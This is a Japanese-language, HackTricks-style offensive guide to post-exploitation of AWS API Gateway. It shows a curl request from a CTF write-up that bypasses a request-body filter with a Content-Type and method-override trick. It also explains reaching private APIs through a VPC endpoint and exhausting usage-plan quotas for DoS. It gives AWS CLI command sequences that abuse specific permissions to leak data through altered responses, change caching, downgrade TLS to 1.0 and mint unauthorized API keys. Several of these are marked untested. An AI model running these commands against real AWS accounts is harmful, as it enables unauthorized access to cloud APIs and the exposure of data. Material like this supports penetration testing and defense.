8.3 KiB
AWS - API Gateway Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
API Gateway
詳細については、次を確認してください:
{{#ref}} ../aws-services/aws-api-gateway-enum.md {{#endref}}
未公開APIへのアクセス
https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint でサービス com.amazonaws.us-east-1.execute-api を使用してエンドポイントを作成し、アクセス可能なネットワーク(EC2マシン経由の可能性あり)でエンドポイントを公開し、すべての接続を許可するセキュリティグループを割り当てます。
その後、EC2マシンからエンドポイントにアクセスできるようになり、以前は公開されていなかったゲートウェイAPIを呼び出すことができます。
リクエストボディのパススルーをバイパス
この技術はこのCTFの解説で見つかりました。
AWSのドキュメントのPassthroughBehaviorセクションに示されているように、デフォルトでは、WHEN_NO_MATCHの値は、リクエストのContent-Typeヘッダーをチェックする際に、リクエストを変換せずにバックエンドに渡します。
したがって、CTFではAPI Gatewayに統合テンプレートがあり、Content-Type: application/jsonでリクエストが送信されたときにフラグが応答で流出するのを防いでいました。
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
しかし、**Content-type: text/json**を持つリクエストを送信することで、そのフィルターを回避できます。
最後に、API GatewayはGetとOptionsのみを許可していたため、ボディにクエリを含むPOSTリクエストを送信し、ヘッダーX-HTTP-Method-Override: GETを使用することで、任意のdynamoDBクエリを制限なしに送信することが可能でした:
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
Usage Plans DoS
Enumeration セクションでは、キーの 使用プラン を 取得する方法 を確認できます。キーがあり、月あたりの使用回数がX回に制限されている場合、それを使用してDoSを引き起こすことができます。
API Key は、x-api-key という HTTPヘッダー に 含める 必要があります。
apigateway:UpdateGatewayResponse, apigateway:CreateDeployment
apigateway:UpdateGatewayResponse および apigateway:CreateDeployment の権限を持つ攻撃者は、既存のGateway Responseを変更して、機密情報を漏洩させるカスタムヘッダーやレスポンステンプレートを含めたり、悪意のあるスクリプトを実行させたりすることができます。
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
潜在的な影響: 機密情報の漏洩、悪意のあるスクリプトの実行、またはAPIリソースへの不正アクセス。
Note
テストが必要
apigateway:UpdateStage, apigateway:CreateDeployment
apigateway:UpdateStageおよびapigateway:CreateDeploymentの権限を持つ攻撃者は、既存のAPI Gatewayステージを変更してトラフィックを別のステージにリダイレクトしたり、キャッシュ設定を変更してキャッシュデータへの不正アクセスを得ることができます。
API_ID="your-api-id"
STAGE_NAME="Prod"
# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
潜在的な影響: キャッシュされたデータへの不正アクセス、APIトラフィックの中断または傍受。
Note
テストが必要
apigateway:PutMethodResponse, apigateway:CreateDeployment
apigateway:PutMethodResponse および apigateway:CreateDeployment の権限を持つ攻撃者は、既存のAPI Gateway REST APIメソッドのメソッドレスポンスを変更して、機密情報を漏洩させるカスタムヘッダーやレスポンステンプレートを含めたり、悪意のあるスクリプトを実行させたりすることができます。
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"
# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
潜在的な影響: 機密情報の漏洩、悪意のあるスクリプトの実行、またはAPIリソースへの不正アクセス。
Note
テストが必要
apigateway:UpdateRestApi, apigateway:CreateDeployment
apigateway:UpdateRestApiおよびapigateway:CreateDeploymentの権限を持つ攻撃者は、API Gateway REST APIの設定を変更してログ記録を無効にしたり、最小TLSバージョンを変更したりすることができ、APIのセキュリティを弱める可能性があります。
API_ID="your-api-id"
# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
潜在的な影響: APIのセキュリティが弱まり、未承認のアクセスを許可したり、機密情報を露出させる可能性があります。
Note
テストが必要です
apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey
apigateway:CreateApiKey、apigateway:UpdateApiKey、apigateway:CreateUsagePlan、およびapigateway:CreateUsagePlanKeyの権限を持つ攻撃者は、新しいAPIキーを作成し、それらを使用プランに関連付け、これらのキーを使用してAPIへの未承認のアクセスを行うことができます。
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
潜在的な影響: APIリソースへの不正アクセス、セキュリティコントロールのバイパス。
Note
テストが必要
{{#include ../../../banners/hacktricks-training.md}}